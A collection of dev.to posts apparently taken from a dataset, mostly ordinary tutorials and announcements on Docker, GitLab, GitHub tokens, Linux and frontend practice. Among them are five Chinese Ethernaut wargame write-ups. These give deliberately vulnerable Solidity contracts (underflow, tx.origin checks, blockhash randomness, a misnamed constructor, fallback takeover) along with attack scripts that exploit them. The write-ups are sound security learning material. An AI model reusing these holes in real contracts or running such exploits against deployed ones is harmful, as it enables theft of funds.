teleren/devto huggingface dataset:
Docker - Tail `docker logs` from the end of the log file
Tags: docker, tutorial, todayilearned
Published: 2022-05-20 08:45:00

Many docker containers output log and error information to `/dev/stdout` and `/dev/stderr` rather than their traditional log files, and you can use the `docker logs` command to view those messages.  You can make use of the `docker logs` command like this:-

```bash
docker logs [CONTAINER_ID]
```

If you want to follow the logs live as you run your application, you can use:-

```bash
docker logs --follow [CONTAINER_ID]
```

By default, the `docker logs` command shows all the log entries for that container, and if the container has been running for a while, that can be many lines of output that you are not really interested in.  If you are attempting to debug your application, you might want to follow the log entries but beginning now rather than showing everything that came before, i.e. tail the log entries from the end of the log file rather than the start.

You can do this by using `--tail 0` i.e.

```bash
docker logs --follow --tail 0 [CONTAINER_ID]
```

Similarly, if you want to look back over recent entries, you can set the value accordingly, i.e. to view the last 100 entries you can do

```bash
docker logs --follow --tail 100 [CONTAINER_ID]
```

You can also use the shorthand version by replacing `--follow` with `-f` and `--tail` with `-n` like 

```bash
docker logs -f -n 100 [CONTAINER_ID]
```
Как обновить GitLab 12.9 до 13.1 в Debian и Ubuntu
Tags: gitlab, linux, debian, russian
Published: 2022-05-20 08:43:01

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lqzbnsehma8oyrce4uaw.jpeg)

Если вы пропустили несколько обновлений GitLab и теперь при попытке апдейта через **apt update && apt upgrade** получаете ошибку перехода на мажорную версию (см. текст ошибки ниже), то устанавливать обновления придется поочередно.

```bash
Preparing to unpack .../gitlab-ce_13.1.3-ce.0_amd64.deb ...
gitlab preinstall: It seems you are upgrading from major version 12 to major version 13.
gitlab preinstall: It is required to upgrade to the latest 13.0.x version first before proceeding.
gitlab preinstall: Please follow the upgrade documentation at https://docs.gitlab.com/ee/policy/maintenance.html#upgrade-recommendations
dpkg: error processing archive /var/cache/apt/archives/gitlab-ce_13.1.3-ce.0_amd64.deb (--unpack):
 subprocess new pre-installation script returned error exit status 1
Errors were encountered while processing:
 /var/cache/apt/archives/gitlab-ce_13.1.3-ce.0_amd64.deb
```

В моем случае порядок устанавливаемых версий выглядит так:

```bash
// Ставим последнюю 12 версию
apt install gitlab-сe=12.10.10-сe.0
// Ставим новую мажорную версию
apt install gitlab-сe=13.0.4-сe.0
// Ставим последнее обновление
apt upgrade
```

Принцип подходит для любой ошибки пропуска версий, главное — соблюдать [порядок их обновления](https://docs.gitlab.com/ee/policy/maintenance.html#upgrade-recommendations). Список всех версий можно посмотреть [тут](https://packages.gitlab.com/gitlab/gitlab-ce).

Надеюсь, статья была полезна. Спасибо, что дочитали до конца!
QGIS Hackfest
Tags: qgis, gis, osgeo, geospatial
Published: 2022-05-20 08:31:15

This year's [QGIS](https://www.camptocamp.com/qgis) contributors meeting will take place in Florence, Italy. QGIS has established itself as the leading Open Source GIS software. It includes a desktop application and a server part for streamlining map publication. The maps you prepare from your desktop are one click away from being published on the web as OGC webservices. QGIS provides an excellent open source alternative to ESRI ArcGIS Pro and benefits from a large and vivid community.

You can register here: [24th-Contributors-Meeting-in-Firenze](https://github.com/qgis/QGIS/wiki/24th-Contributors-Meeting-in-Firenze)

A QGIS Contributors Meeting is a volunteer-driven event where contributors to the QGIS project from around the world get together in a common space - usually a university campus. The event is normally three days in duration and we hold two such events each year. During these events, contributors to the QGIS project take the opportunity to plan their work, hold face-to-face discussions and present new improvements to the QGIS project that they have been working on.
Finding commands
Tags: beginners, react, linux, javascript
Published: 2022-05-20 08:03:50

Im trying to complete an application and it has some prompts for me. 
2nd level concludes of me finding the Operating System (OS) using the terminal they provided. It then asks to identify the current working directory using commands.
I need help finding the commands, im not sure if I should look in Java or in Linx bc i cant find the operating system.
A Quick 10-Second Programming Joke For Today
Tags: jokes, dailydeveloperjokes
Published: 2022-05-20 08:00:28

---
title: "A Quick 10-Second Programming Joke For Today"
description: "Check out today's daily developer joke! (a project by Fred Adams at xtrp.io)"
series: "Daily Developer Jokes"
published: true
tags: #jokes, #dailydeveloperjokes
---

Hi there! Here's today's Daily Developer Joke. We hope you enjoy it; it's a good one.

![Joke Image](https://private.xtrp.io/projects/DailyDeveloperJokes/public_image_server/images/5e12596739999.png)

---

For more jokes, and to submit your own joke to get featured, check out the [Daily Developer Jokes Website](https://dailydeveloperjokes.github.io/). We're also open sourced, so feel free to view [our GitHub Profile](https://github.com/dailydeveloperjokes).

### Leave this post a ❤️ if you liked today's joke, and stay tuned for tomorrow's joke too!

_This joke comes from [Dad-Jokes GitHub Repo by Wes Bos](https://github.com/wesbos/dad-jokes) (thank you!), whose owner has given me permission to use this joke with credit._

<!--
Joke text:
___Q:___ Why couldn't the React component understand the joke?

___A:___ Because it didn't get the context.
 -->
Multi-Cloud Governance with Google Anthos
Tags: googlecloud, anthos, multicloud, governance
Published: 2022-05-20 07:49:53

𝘾𝙤𝙣𝙩𝙖𝙞𝙣𝙚𝙧 𝙥𝙡𝙖𝙩𝙛𝙤𝙧𝙢 𝙩𝙚𝙖𝙢𝙨 are tasked with 𝙠𝙚𝙚𝙥𝙞𝙣𝙜 𝙜𝙧𝙤𝙪𝙥𝙨 𝙤𝙛 𝙆𝙪𝙗𝙚𝙧𝙣𝙚𝙩𝙚𝙨 𝙘𝙡𝙪𝙨𝙩𝙚𝙧𝙨 𝙪𝙥 𝙩𝙤 𝙙𝙖𝙩𝙚 and aligned with their:
(1) 𝙤𝙧𝙜𝙖𝙣𝙞𝙯𝙖𝙩𝙞𝙤𝙣 𝙨𝙩𝙖𝙣𝙙𝙖𝙧𝙙𝙨 and 
(2) 𝙨𝙚𝙘𝙪𝙧𝙞𝙩𝙮 𝙥𝙤𝙡𝙞𝙘𝙞𝙚𝙨. 

They will need to 𝙖𝙪𝙩𝙤𝙢𝙖𝙩𝙚 𝙖𝙨 𝙢𝙪𝙘𝙝 𝙤𝙛 𝙩𝙝𝙞𝙨 𝙬𝙤𝙧𝙠 𝙖𝙨 𝙥𝙤𝙨𝙨𝙞𝙗𝙡𝙚 since managing 1 cluster is very different from 𝙢𝙖𝙣𝙖𝙜𝙞𝙣𝙜 10𝙨 𝙤𝙧 100𝙨 𝙖𝙘𝙧𝙤𝙨𝙨 𝙜𝙚𝙤𝙜𝙧𝙖𝙥𝙝𝙞𝙚𝙨. 

Google 𝘼𝙣𝙩𝙝𝙤𝙨 has a number of 𝙗𝙚𝙣𝙚𝙛𝙞𝙩𝙨 𝙤𝙥𝙚𝙧𝙖𝙩𝙤𝙧𝙨 𝙘𝙖𝙣 𝙩𝙖𝙠𝙚 𝙖𝙙𝙫𝙖𝙣𝙩𝙖𝙜𝙚 𝙤𝙛  when it comes to establishing “sameness” with regard to:
(1) 𝙨𝙩𝙖𝙣𝙙𝙖𝙧𝙙𝙞𝙯𝙖𝙩𝙞𝙤𝙣, 
(2) 𝙨𝙚𝙘𝙪𝙧𝙞𝙩𝙮, and 
(3) 𝙜𝙤𝙫𝙚𝙧𝙣𝙖𝙣𝙘𝙚 
across 𝙆𝙪𝙗𝙚𝙧𝙣𝙚𝙩𝙚𝙨 𝙘𝙡𝙪𝙨𝙩𝙚𝙧𝙨. 

In order to 𝙥𝙤𝙥𝙪𝙡𝙖𝙧 𝙆𝙪𝙗𝙚𝙧𝙣𝙚𝙩𝙚𝙨 𝙙𝙞𝙨𝙩𝙧𝙞𝙗𝙪𝙩𝙞𝙤𝙣𝙨 such as Amazon EKS and Microsoft AKS in addition to Google GKE:
(1) 𝘼𝙣𝙩𝙝𝙤𝙨 𝘾𝙤𝙣𝙛𝙞𝙜𝙪𝙧𝙖𝙩𝙞𝙤𝙣 𝙈𝙖𝙣𝙖𝙜𝙚𝙢𝙚𝙣𝙩 (𝘼𝘾𝙈) config sync, 
(2) 𝙋𝙤𝙡𝙞𝙘𝙮 𝘾𝙤𝙣𝙩𝙧𝙤𝙡𝙡𝙚𝙧, and 
(3) 𝙎𝙚𝙧𝙫𝙞𝙘𝙚 𝙈𝙚𝙨𝙝 
can be extended.

Thanks to Brian Kaufman for his blog post
𝙎𝙩𝙖𝙣𝙙𝙖𝙧𝙙𝙞𝙯𝙖𝙩𝙞𝙤𝙣, 𝙨𝙚𝙘𝙪𝙧𝙞𝙩𝙮, 𝙖𝙣𝙙 𝙜𝙤𝙫𝙚𝙧𝙣𝙖𝙣𝙘𝙚 𝙖𝙘𝙧𝙤𝙨𝙨 𝙚𝙣𝙫𝙞𝙧𝙤𝙣𝙢𝙚𝙣𝙩𝙨 𝙬𝙞𝙩𝙝 𝘼𝙣𝙩𝙝𝙤𝙨 𝙈𝙪𝙡𝙩𝙞-𝘾𝙡𝙤𝙪𝙙
https://cloud.google.com/blog/topics/anthos/standardization-and-governance-across-environments-with-anthos

𝙎𝙩𝙖𝙮 𝙩𝙪𝙣𝙚𝙙 𝙗𝙮 𝙛𝙤𝙡𝙡𝙤𝙬𝙞𝙣𝙜
https://www.linkedin.com/feed/hashtag/?keywords=did_you_know_that

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0agp6wklor7079waoua4.jpg)

https://www.linkedin.com/posts/mahmoudrabie2004_didabryouabrknowabrthat-cloud-cloudcomputing-activity-6933322681027059712-uQPo?utm_source=linkedin_share&utm_medium=member_desktop_web
The new point release of Corteza is already a fact! 🎉
Tags: release, update, lowcodeplatform, newfeatures
Published: 2022-05-20 07:21:33

🖥️✔️ The new point #release of Corteza – 2022.3.2 adds new features, such as record list filter preservation in the local browser storage. Additionally, a list of changes and fixes is included.

Learn more about CORTEZA's [new features and updates](https://cortezaproject.org/corteza-2022-3-2-released/).
Ethernaut系列-Level 5(Token)
Published: 2022-05-20 07:07:03

## LEVEL 5 （Token）
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
```
##通关要求
起始给10个token,要求变成很多很多个token

##要点
数值计算溢出问题，solidity0.8前的版本是没做溢出报错的，如uint计算负数后会变成很大，solidity0.8后就不用第三方库如openzeppelin的SafeMath来保障，直接计算即可，EVM会报错。

##解题思路
只有10个token,transfer传1000个就会溢出
test/05Token.js
```javascript
  it("attacks", async function () {
    //调用合约transfer
    await levelContract.connect(player).transfer(levelOwner.address, 1000);
  });

  it("check", async function () {
    //检查通过条件
    expect(await levelContract.balanceOf(player.address)).to.above(1000);
  });
```
GitHub: Authentication failed on git push
Tags: github, ssh, 2fa, russian
Published: 2022-05-20 06:21:46


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3daaxoatmb4ezonqqigb.jpeg)

Столкнулся тут с проблемой внесения изменений в одну из своих библиотек на GitHub, а именно ошибкой аутентификации.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vec4xrgzfose25lwduzf.png)

Достаточно странно. Пароль точно верный, но в чем же дело? Стал вспоминать, что последнее делал в GitHub и вспомнил. Я включил двухфакторную аутентификацию.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ztks8gcher4r8anoxc09.png)

Лечится эта проблема просто. Заходим в **Settings -> Developer settings** (отдельная кнопка внизу в левом меню). В открывшемся окне выбираем **Personal access tokens** и наживаем на кнопку **Generate new token** (https://github.com/settings/tokens/new). В открывшемся окне указываем название токена и нужные права доступа.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d8e1p4usq73j3rmga1yw.png)

После заполнения нажимаем кнопку **Generate token** и копируем полученный токен в буфер обмена, он понадобится для аутентификации в **git push**.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2zawypinsyops83sohmc.png)

Рекомендую сохранить его, так как повторный просмотр в интерфейсе невозможен.

Тепер возвращаемся к терминалу в каталог с локальным репозиторием и вводим команду **git push**. Git запросит Username и Password. Вводим ваш Username на GitHub и созданный **access token** вместо своего пароля.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o6w679hq6939qhmpx552.png)

Вот и все, теперь аутентификация снова работает! Удачи!
Ethernaut系列-Level 4(Telephone)
Published: 2022-05-20 06:50:26

## LEVEL 4 （Telephone）
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
```

##通关要求
owner设为player

##要点
合约里判断调用人，一定要用msg.sender，不要用tx.origin

##解题思路
写个合约调用关卡合约，再用javascript调用自己的合约,tx.origin和msg.sender就会不一定

contracts/04TelephoneRun.sol
```solidity
interface ILevel {
    function changeOwner(address _owner) external;
}

contract TelephoneRun {    
    function run(address _levelAddress) external {     
        ILevel(_levelAddress).changeOwner(msg.sender);
    }
}
```
test/04Telephone.js
```javascript
  it("attacks", async function () {
    await runContract.connect(player).run(levelContract.address);
  });
```
Ethernaut系列-Level 3(CoinFlip)
Published: 2022-05-20 06:42:41

## LEVEL 3 （CoinFlip）
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
```
##通关要求
consecutiveWins = 10

##要点
1. 合约的存储变量，包含private，对外都是可见的，例如通过
web3.eth.getStorageAt(address, position)查看
具体变量在哪个position，会根据变量类型计算，不是按变量顺序123,可能被压缩
参考：
https://docs.soliditylang.org/en/v0.8.14/internals/layout_in_storage.html
2. 不要根据block变量来做随机的依据（包括number/timestamp等等），这些都是不安全的

##解题思路
直接复制代码，生成guess
contracts/03CoinFlipRun.sol

```solidity
interface ILevel {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipRun {    
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
    function run(address _levelAddress) external {
        //从原合约复制过来的代码
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue/FACTOR;
        bool side = coinFlip == 1 ? true : false;        
        ILevel(_levelAddress).flip(side);
    }
}
```

注意不要在soldity循环10次，要多次事务调用

test/03CoinFlip.js
```javascript
  it("attacks", async function () {
    for (let i = 0; i < 10; i++) {
      await runContract.run(levelContract.address);
    }
  });
```
Why I never returned back to windows after using linux ?
Tags: linux, opensource
Published: 2022-05-20 06:35:57

During the first year of my engineering , my laptop hard drive crashed and I need to get a new one .
Along with the hard drive, i need to think about OS I gonna use on it . Linux was a short of hype among my peer circle. I thought of why not give a try .
After that , I was so much in deep love with linux that I wonder why the people are still stick around windows.

Here are some of the reason why I never returned back to windows after using linux :

**Its not that much hard .** All of us assume that linux is all about command line but its not so . I tried Ubuntu and its GUI is more appealing and easy to use than that of Windows. Remember , linux provides both command line and graphical user interface.

**Easy to install software:** In windows , in order to install software , you need to download .exe file from internet , run it as a administrator and perform other series of steps. However, I can install a software on ubuntu in a single command .

**Faster and smooth :**The smoothness and fastness of the ubuntu is felt by me while running Android studio. My PC almost freezes while running android studio in Windows , however I have not encountered such isuses till now in linux.

**Free software :** The open source alternatives of microsoft office is Libre Office in Ubuntu, which don't incur any cost for usage.

**Community :**Linux has large community and fanbase. If we faces the problem in linux , the solution is just a one thread away in our browser.

**Pride :** Using linux gave me  a sense of entitlement and made me  a proud.

What makes you hooked in linux and make you away from windows?
Проверка доступности TCP/UDP- порта в Linux-server
Tags: linux, network, tcp, russian
Published: 2022-05-20 06:29:46

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7ajxntmxjxy5i1gxjd6z.png)

Приветствую тебя, читатель! Если ты попал сюда, видимо, ты находишься в поиске информации, как проверять сетевые доступы в командной строке Linux. Постараюсь ответить на этот вопрос.

## Проверка доступности TCP-порта
Для проверки доступности TCP-порта в командной строке Linux идеально подходит утилита **telnet**. Ниже я приведу несколько примеров:

```
// Порт 3306 доступен и его слушает MySQL 5.5.62, установленный на ОС Debian 8
telnet testmysql.domain.com 3306
Trying 10.80.80.1...
Connected to testmysql.domain.com.
Escape character is '^]'.
W
5.5.62-0+deb8u1-log
// Для выхода из окна отправки команд на порт нужно ввести quit или сочетание клавиш ctrl/cmd + C
// Нет разрешения на подключение (Firewall) или порт никто не слушает)
telnet testmysql.domain.com 3307
Trying 10.80.80.1...
```
Вместо telnet можно воспользоваться утилитой **nc** ([NetCat](https://ru.wikipedia.org/wiki/Netcat)), команды у нее очень простые. Ниже приведу аналогичную проверку доступности порта MySQL:

```
nc testmysql.domain.com 3306
W
5.5.62-0+deb8u1-log��sU/({V{)��!�X^OS2@+UIQ9hmysql_native_password
// -z - Не посылать данные (сканирование портов) 
// -v - Дополнительная диагностика (verbose)
nc -z -v testmysql.domain.com 3306
Connection to testmysql.domain.com port 3306 [tcp/mysql] succeeded!
```

С полным списком доступных ключей утилиты **nc** и их описанием можно ознакомиться [тут](https://ru.wikipedia.org/wiki/Netcat).

## Проверка доступности UDP-порта
Для проверки UDP-портов выбор утилит меньше. Я использую в основном **nc** ([NetCat](https://ru.wikipedia.org/wiki/Netcat)). Ниже приведу несколько примеров проверки UDP-порта:

```
// MacOS
nc -z -v -u grayloghost.com 12311
Connection to grayloghost.com port 12311 [udp/*] succeeded!
// Linux
nc -z -v -u grayloghost.com 12311
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 10.80.80.2:12311.
Ncat: UDP packet sent successfully
Ncat: 1 bytes sent, 0 bytes received in 2.01 seconds.
```
Надеюсь, статья была полезна. Спасибо, что дочитали до конца!
Ethernaut系列-Level 2(Fallout)
Published: 2022-05-20 06:28:02

## LEVEL 2 （Fallout）
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}
```
##通关要求
1.owner设为player

##要点
文字打错 - -! 

##解题思路
旧版的构造函数名，打错了 Fal1out。新版的用constructor了

直接调用方法即可
```solidity
  it("attacks", async function () {
    await levelContract.connect(player).Fal1out({
      value: ethers.utils.parseEther("0.0001").toNumber(),
    });
  });
```
40 Content Ideen für absolut erfolgreiche Blog Artikel
Tags: bloggen, content, marketing, texterstellung
Published: 2022-05-31 17:31:51

---
title: 40 Content Ideen für absolut erfolgreiche Blog Artikel
published: true
date: 2022-05-20 06:26:00 UTC
tags: Bloggen,content,marketing,texterstellung
canonical_url: https://bloggerpilot.com/40-content-ideen-fuer-absolut-erfolgreiche-blog-artikel/
---

![40 Blogging und Content Ideen](https://bloggerpilot.com/wp-content/uploads/2016/09/40-content-ideen-1.png)

Nutze meine Liste mit 40 Content Ideen, wann immer du...

Der Original-Artikel erschien auf [40 Content Ideen für absolut erfolgreiche Blog Artikel](https://bloggerpilot.com/40-content-ideen-fuer-absolut-erfolgreiche-blog-artikel/).
Ethernaut系列-Level 1 (Fallback)
Published: 2022-05-20 06:16:01


## LEVEL 1 （Fallback）:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}
```
## 通关要求

  1.owner设为player
  2.合约的余额变为0

##要点
  熟悉合约调用和转账

##解题思路
这关主要就是熟悉下web3如何调用写好的合约，故意的逻辑漏洞。
只要用js交互即可
1.先调用contribute()
2.再调用转余额
3.只调用withdraw()

test/01Fallback.js

```javascript
  it("attacks", async function () {
    //调用合约的contribute方法
    await levelContract.connect(player).contribute({
      value: ethers.utils.parseEther("0.0001"),
    });
    //转账触发receive()，修改owner
    await player.sendTransaction({
      to: levelContract.address,
      value: ethers.utils.parseEther("0.0001"),
    });
    //取掉所有的余额
    await levelContract.connect(player).withdraw();
  });
```
Best 7 Platforms to Level Up Your Frontend Skills 🚀
Tags: design, css, discuss, javascript
Published: 2022-05-20 06:04:12

In this article, I am sharing best site and apps which are beginner-friendly. This will improve your speed of front-end development to a whole new **Level**.

> inspired and images from @Amit_T18 from twitter

### CSS Battles

CSS Battle is an online CSS Code Golfing game. Here, players from all around the world try to visually replicate "Targets" in smallest possible CSS code and battle it out to get to the top of the leaderboard.

https://cssbattle.dev/

![CSS Battles](https://pbs.twimg.com/media/FTGICi8VsAAFqht?format=jpg&name=4096x4096)

### JavaScript 30

It's a 30-day vanilla JS coding challenge. During these 30 days (more or less — you can binge the tutorials Netflix style to take it as slow as you like because you'll get an instant and free access to all the videos) you'll build 30 different apps using fun and easy video tutorials

https://javascript30.com/

![JavaScript 30](https://pbs.twimg.com/media/FRbJyWoUUAAWChK.jpg)

### Code Well

Improve your HTML and CSS skills by practicing on real design templates. With Codewell, you can browse high quality Figma templates that you can use to sharpen your HTML and CSS skills.

https://www.codewell.cc/

![Code Well](https://pbs.twimg.com/media/FRbJzkaVsAEwvlK.jpg)

### Frontend Mentor

Frontend Mentor is a platform where you can solve real-world HTML, CSS and JavaScript challenges whilst working to professional designs.

https:// www.frontendmentor.io/

![Frontend Mentor](https://pbs.twimg.com/media/FRbJ0pbVsAEoN8d.jpg)

### Frontend Practice

With this, you get a list of websites that look nice to clone and increase your experience and ideas. Take your frontend skills to the next level by recreating real websites from real companies.
The perfect type of practice for developers of all skill levels. 

https:// www.frontendpractice.com/

![Frontend Practice](https://pbs.twimg.com/media/FRbJ166VgAABxrU.jpg)

### Codewars

Codewars is an educational community for computer programming. On the platform, software developers train on programming challenges known as kata. These discrete programming exercises train a range of skills in a variety of programming languages, and are completed within an online integrated development environment.

https:// www.codewars.com/

![Codewars](https://pbs.twimg.com/media/FRbJ3GGVsAEoUPV.jpg)

### Daily UI

Daily UI is a series of daily Design Challenges. Inspiration and Surprise Rewards! Get Started. 100% FREE.

https:// www.dailyui.co/

![Daily UI](https://pbs.twimg.com/media/FRbJ4O5VIAAnRO3.jpg)


## Summary
Hope you find these sites and apps helpful for your new design at font-end.

If you find this article helpful, then let me know via your comments below.